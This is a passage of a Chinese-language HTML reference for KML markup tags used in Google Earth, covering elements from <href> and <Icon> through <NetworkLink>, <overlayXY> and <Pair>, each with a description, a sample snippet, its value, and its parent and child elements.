<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=href></A>
<H4>&lt;href&gt;</H4>
<DIV class=desc>单一标签.是<A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A>的子元素. 用来指定图片或图标的路径.可以是本地或远程网络服务器的路径.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>C:/GoogleEarth/example.jpg<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>图片路径.<BR><BR>C:/GoogleEarth/example.jpg<BR><BR>如果是网络服务器上的图片，则给出该图片的URL地址:<BR><BR>http://www.keyhole.com/images/nav/navTopLogo.png<BR><BR>另外，如果要指定一个的图片做图标，你也可以实现从大图片上截取一块区域作为图标.而且这样将会有更好的性能.<BR><BR>例如,你可能有一张图片，由16个小图片按4X4排列而成，你可以实现引用其中的一每小块图片作为图标，只要你指定该小块图片在整个图片上的的以下四个坐标值: <BR><BR>x、y 坐标,小块区域左上角的像素坐标 <BR>w、h 坐标,小块区域的宽度和高度像素值<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style id="Example"&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#IconStyle">&lt;IconStyle&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>example.png<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#x">&lt;x&gt;</A>128<A href="http://www.step1.cn/googleapi/map/kml.htm#x">&lt;x&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#y">&lt;y&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#y">&lt;y&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#w">&lt;w&gt;</A>64<A href="http://www.step1.cn/googleapi/map/kml.htm#w">&lt;w&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#h">&lt;h&gt;</A>64<A href="http://www.step1.cn/googleapi/map/kml.htm#h">&lt;h&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#IconStyle">&lt;IconStyle&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Icon></A>
<H4>&lt;Icon&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A>, <A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A>,和<A href="http://www.step1.cn/googleapi/map/kml.htm#IconStyle">&lt;IconStyle&gt;</A>的子元素. 必需的<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>子元素定义图片或图标的路径. 可以是本地或远程网络服务器的路径.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#x">&lt;x&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#y">&lt;y&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#w">&lt;w&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#h">&lt;h&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=IconStyle></A>
<H4>&lt;IconStyle&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A>的子元素并包含<A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A>元素. IconStyle指定图标的样式. <BR></DIV>
<DL>
<DT>值: 
<DD>字符串<BR><BR>
<DT>父元素: 
<DD><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#scale">&lt;scale&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=innerBoundaryIs></A>
<H4>&lt;innerBoundaryIs&gt;</H4>
<DIV class=desc>复合标签，定义一个多变形的边.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#innerBoundaryIs">&lt;innerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR>-88.306534, 30.227852, 0.000000 ...... -88.306534, 30.227852, 0.000000<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#innerBoundaryIs">&lt;innerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=key></A>
<H4>&lt;key&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A>的子元素.用来定义一个高亮或正常情况下的样式<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap id="example_style"&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR>&lt;key&gt;normal&lt;/key&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>#example_style_off<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR>&lt;key&gt;highlight&lt;/key&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>#example_style_on<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>normal代表该标注的正常样式,highlight代表该标注被选中情况下的样式.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=labelColor></A>
<H4>&lt;labelColor&gt;</H4>
<DIV class=desc>单一标签，用来指定Google Earth之中的标签颜色.在<A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A>标签之中使用.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#labelColor">&lt;labelColor&gt;</A>ffff0055<A href="http://www.step1.cn/googleapi/map/kml.htm#labelColor">&lt;labelColor&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>默认值是ffffffff (白色,不透明).可以是16进制的符号并按照aabbggrr(alpha, blue, green, red)排列,其中，透明度是从0(透明)-255(不透明). 要了解更多请查看关于颜色的介绍文章.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=latitude></A>
<H4>&lt;latitude&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A>的子元素. 指定从-90到90的纬度值.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#latitude">&lt;latitude&gt;</A>33.3205<A href="http://www.step1.cn/googleapi/map/kml.htm#latitude">&lt;latitude&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由视点坐标决定，单位是度.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=LatLonBox></A>
<H4>&lt;LatLonBox&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A>的子元素.用来指定该图片标注的地理坐标.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A>36.9994<A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A>-96.3874<A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A>-95.1583<A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A>38.5209<A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A>39.3082<A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A> (可选)<BR><BR></DD></DL></DIV>
<DIV class=term><A name=LinearRing></A>
<H4>&lt;LinearRing&gt;</H4>
<DIV class=desc>复合标签，定义一个闭合的折线，以描述一个多边形. 使用<A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>标签说明折线的每一个点的坐标，最后的点将会和第一点连接以使图形闭合.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR>-88.306534, 30.227852, 0.000000 ...... -88.306534, 30.227852, 0.000000<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=LineString></A>
<H4>&lt;LineString&gt;</H4>
<DIV class=desc>复合标签，用来定义一段折线. 以坐标值字符串的形式定义该折线的轨迹.使用<A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>元素来描绘每个点的坐标.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GeometryCollection">&lt;GeometryCollection&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=longitude></A>
<H4>&lt;longitude&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A>的子元素. 指定从-180到180的经度值.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#longitude">&lt;longitude&gt;</A>-111.965<A href="http://www.step1.cn/googleapi/map/kml.htm#longitude">&lt;longitude&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由视点坐标决定，单位是度.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=LookAt></A>
<H4>&lt;LookAt&gt;</H4>
<DIV class=desc>复合标签.为标注或目录定义观测者坐标(视点).<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A>-0.00895499<A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#tilt">&lt;tilt&gt;</A>39.4365<A href="http://www.step1.cn/googleapi/map/kml.htm#tilt">&lt;tilt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A>214.17<A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#latitude">&lt;latitude&gt;</A>37.3895<A href="http://www.step1.cn/googleapi/map/kml.htm#latitude">&lt;latitude&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#longitude">&lt;longitude&gt;</A>-122.086<A href="http://www.step1.cn/googleapi/map/kml.htm#longitude">&lt;longitude&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#latitude">&lt;latitude&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#longitude">&lt;longitude&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=name></A>
<H4>&lt;name&gt;</H4>
<DIV class=desc>单一标签.用来显示为一个标注的简单名称，或者在<A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A>元素之中代表标示符.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>Favourite Places<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR>. . .<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>任意字符串.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=NetworkLink></A>
<H4>&lt;NetworkLink&gt;</H4>
<DIV class=desc>复合标签，用来定义一个引用的本地或远程的KML文件.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshVisibility">&lt;refreshVisibility&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#refreshVisibility">&lt;refreshVisibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshInterval">&lt;refreshInterval&gt;</A>121<A href="http://www.step1.cn/googleapi/map/kml.htm#refreshInterval">&lt;refreshInterval&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>//myServer/Googleearth/example.kmlM.<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A>1<A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>TestNetworkLink<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshVisibility">&lt;refreshVisibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshInterval">&lt;refreshInterval&gt;</A><BR>&lt;<A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A>&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=north></A>
<H4>&lt;north&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A>的子元素.指定图片标注上边缘的纬度值.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A>39.3082<A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由图片标记所描述的实际地理位置决定，经度和纬度以度数表示. <BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=ObjArrayField></A>
<H4>&lt;ObjArrayField&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A>的子元素.用来为一个schema对象定义一个字段数组类型. 使用 <A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A>元素指定数组中类型的名称.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=ObjField></A>
<H4>&lt;ObjField&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A>的子元素.用来为一个schema对象定义一个字段类型.使用 <A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A>元素指定类型的名称.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=open></A>
<H4>&lt;open&gt;</H4>
<DIV class=desc>单一标签，指示目录是否默认被展开.<BR></DIV>
<DL>
<DT>值: 
<DD>在载入时，如果值为1，则该目录默认会被展开，如果值为1，则默认是闭合的，如果目录包含大量的标注，最好确保目录默认闭合状态.<BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><BR>
<DT>子元素: 
<DD>None. <BR><BR></DD></DL></DIV>
<DIV class=term><A name=outerBoundaryIs></A>
<H4>&lt;outerBoundaryIs&gt;</H4>
<DIV class=desc>复合标签，定义一个多边形的各个边.必需.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR>-88.306534, 30.227852, 0.000000 ...... -88.306534, 30.227852, 0.000000<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=outline></A>
<H4>&lt;outline&gt;</H4>
<DIV class=desc>单一标签，只是多边形是否只绘制轮廓<BR></DIV>
<DL>
<DT>值: 
<DD>0 (no outline) or 1.<BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#PolyStyle">&lt;PolyStyle&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=overlayXY></A>
<H4>&lt;overlayXY&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A>的子元素. 定义标注图片上用来和屏幕坐标对应的一点在图片自身上的坐标. 应该有X和Y两个值和各自的单位(像素(pixels)或比例(fraction)). 例如：<A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="1" y="1" xunits="fraction" yunits="fraction"/&gt;</A>代表图片的右上角. 和<A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY of x="-50" y="0.9" xunits="pixels" yunits="fraction"/&gt;</A>一起使用, 将会使图片右上角离屏幕右边缘距离为50像素，距离屏幕顶端距离是屏幕高度的10%. <BR><BR></DIV>
<DL>
<DT>值: 
<DD>x和y能够用以下方式指定: <BR><BR>将图片显示在屏幕的中间:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="0.5" y="0.5" xunits="fraction" yunits="fraction"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY x="0.5" y="0.5" xunits="fraction" yunits="fraction"/&gt;</A><BR><BR>将图片显示在屏幕的左上角:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="0" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY x="0" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR><BR>将图片显示在屏幕的右边:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="1" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY x="1" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Pair></A>
<H4>&lt;Pair&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap&gt;</A>的子元素.用力定义一个<B>名称/值</B>对以便为标注提供多样化的样式支持. <BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap&gt;</A><BR><BR>
<DT>子元素: 
<DD>Must contain the following:<BR>&lt;key&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=parent></A>
<H4>&lt;parent&gt;</H4>
